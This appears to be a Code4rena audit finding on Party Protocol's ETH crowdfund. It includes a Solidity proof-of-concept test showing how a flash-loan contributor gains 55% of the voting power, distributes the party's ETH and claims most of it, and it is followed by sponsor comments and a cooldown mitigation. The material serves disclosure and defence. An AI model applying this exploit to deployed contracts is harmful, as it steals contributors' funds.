Open code423n4 opened 1 year ago
coded POC would have been welcomed here due to the number of steps in the attack, will review further.
Hello @0xean
Here is a POC. It should be appended to InitialETHCrowdfund.t.sol
function test_finalizeUsingFlashloan() public {
InitialETHCrowdfund crowdfund = _createCrowdfund({
initialContribution: 0,
initialContributor: payable(address(0)),
initialDelegate: address(0),
minContributions: 0,
maxContributions: type(uint96).max,
disableContributingForExistingCard: false,
minTotalContributions: 10 ether,
maxTotalContributions: 20 ether,
duration: 7 days,
fundingSplitBps: 0,
fundingSplitRecipient: payable(address(0))
});
TokenDistributor distributor = new TokenDistributor(globals, 0);
globals.setAddress(LibGlobals.GLOBAL_TOKEN_DISTRIBUTOR, address(distributor));
Party party = crowdfund.party();
// Attacker has 1 ether now
address attacker = _randomAddress();
vm.deal(attacker, 1 ether);
// An honest member has 9 ether
address member = _randomAddress();
vm.deal(member, 9 ether);
// Contribute
vm.prank(attacker);
uint256 vp1 = crowdfund.contribute{ value: 1 ether }(attacker, "");
vm.prank(member);
crowdfund.contribute{ value: 9 ether }(member, "");
// Attacker noticed his voting power will be 10% after finalization, so he decided to contribute 10 ether using flashloan
vm.deal(attacker, 10 ether); // he borrowed 10 ether
vm.prank(attacker);
uint256 vp2 = crowdfund.contributeFor{ value: 10 ether }(1, payable(attacker), attacker, ""); //contributed 10 ether again
// Crowdfund is finalized
assertTrue(crowdfund.getCrowdfundLifecycle() == ETHCrowdfundBase.CrowdfundLifecycle.Finalized);
assertEq(party.getGovernanceValues().totalVotingPower, 20 ether);
assertEq(vp1 + vp2, 11 ether); //his voting power is 11/20 = 55% now
assertEq(address(party).balance, 20 ether);
assertEq(address(attacker).balance, 0); //attacker's eth balance = 0
// attacker starts eth distribution of 19 ether from party's balance
vm.prank(attacker);
ITokenDistributor.DistributionInfo memory distInfo = party.distribute(19 ether, ITokenDistributor.TokenType.Native, address(0), 0);
assertEq(address(distributor).balance, 19 ether); //distributor's balance
assertEq(address(party).balance, 1 ether); //party's remaining balance
vm.prank(attacker);
distributor.claim(distInfo, 1); //attacker claims 55% of 19 ether
assertEq(address(attacker).balance, 10.45 ether); //finally, attacker's balance = 10.45 ether and he can repay the flashloan
assertEq(party.getGovernanceValues().totalVotingPower, 20 ether);
assertEq(vp1 + vp2, 11 ether); //his voting power is still 55%
}
0xble marked the issue as sponsor confirmed
Great finding, still debating the mitigation internally.
0xean marked the issue as satisfactory
Looking into this more, the issue can only occur if a party sets an executionDelay
of 0. In the POC, the party was created with default values (null) which is why this could happen in testing. However if changed to a nonzero value, it would require waiting delay duration before the proposal could be executed which would prevent the repayment of the flash loan in a single execution. Since parties are expected to have a nonzero execution delay, we are less concerned about the flash loan aspect of this attack.
This finding did prompt us to consider the risk of majority attacks more broadly, where an individual can contribute and become a majority voter in a party (flash loan or not) and take control of the party. We acknowledged the majority attack before audit and don't consider it a vulnerability. Our reasoning is (1) our governance model prioritizes simplicity and speed of coordination which would be sacrificed by introducing more complex mechanisms to robustly protect against majority attacks and (2) the expectation is parties will have reasonable governance settings and active governance to veto malicious proposals to manage the risk of a majority attack and if they don't (e.g. set an execution delay of 0) it is a deliberate choice on their part rather than a vulnerability.
0xble marked the issue as sponsor acknowledged
Lines of code
https://github.com/code-423n4/2023-04-party/blob/440aafacb0f15d037594cebc85fd471729bcb6d9/contracts/crowdfund/ETHCrowdfundBase.sol#L273 https://github.com/code-423n4/2023-04-party/blob/440aafacb0f15d037594cebc85fd471729bcb6d9/contracts/party/PartyGovernance.sol#L470
Vulnerability details
Impact
An attacker can have more than half of the total voting power using a flash loan and abuse other contributors.
Proof of Concept
The main flaw is that the party can distribute funds right after the crowdfund is finalized within the same block.
So the attacker can contribute using a flash loan and repay by distributing the part's ETH.
maxContribution = type(uint96).max, minTotalContributions = 10 ether, maxTotalContributions = 20 ether, fundingSplitBps = 0
.minTotalContributions
already but he will have 10% of the total voting power.ETHCrowdfundBase._processContribution()
, the crowdfund will be finalized immediately as total contribution is greater than maxTotalContributions.(1 + 10) / 20 = 55%
voting power of the party and he can pass any proposal.distribute()
with 19 ether.distribute()
can be called directly ifopts.distributionsRequireVote == false
, otherwise, he should create/execute the distribution proposal and he can do it within the same block.TokenDistributor.claim()
and the amount will be19 * 55% = 10.45 ether
. (We ignore the distribution fee for simplicity)This attack is possible for both
InitialETHCrowdfund
andReraiseETHCrowdfund
.Tools Used
Manual Review
Recommended Mitigation Steps
I think we should implement a kind of
cooldown logic
after the crowdfund is finalized.partyStartedTime
inPartyGovernance.sol
.ETHCrowdfundBase._finalize()
, we setparty.partyStartedTime = block.timestamp
.PartyGovernance.distribute()
can work only whenblock.timestamp > partyStartTime
.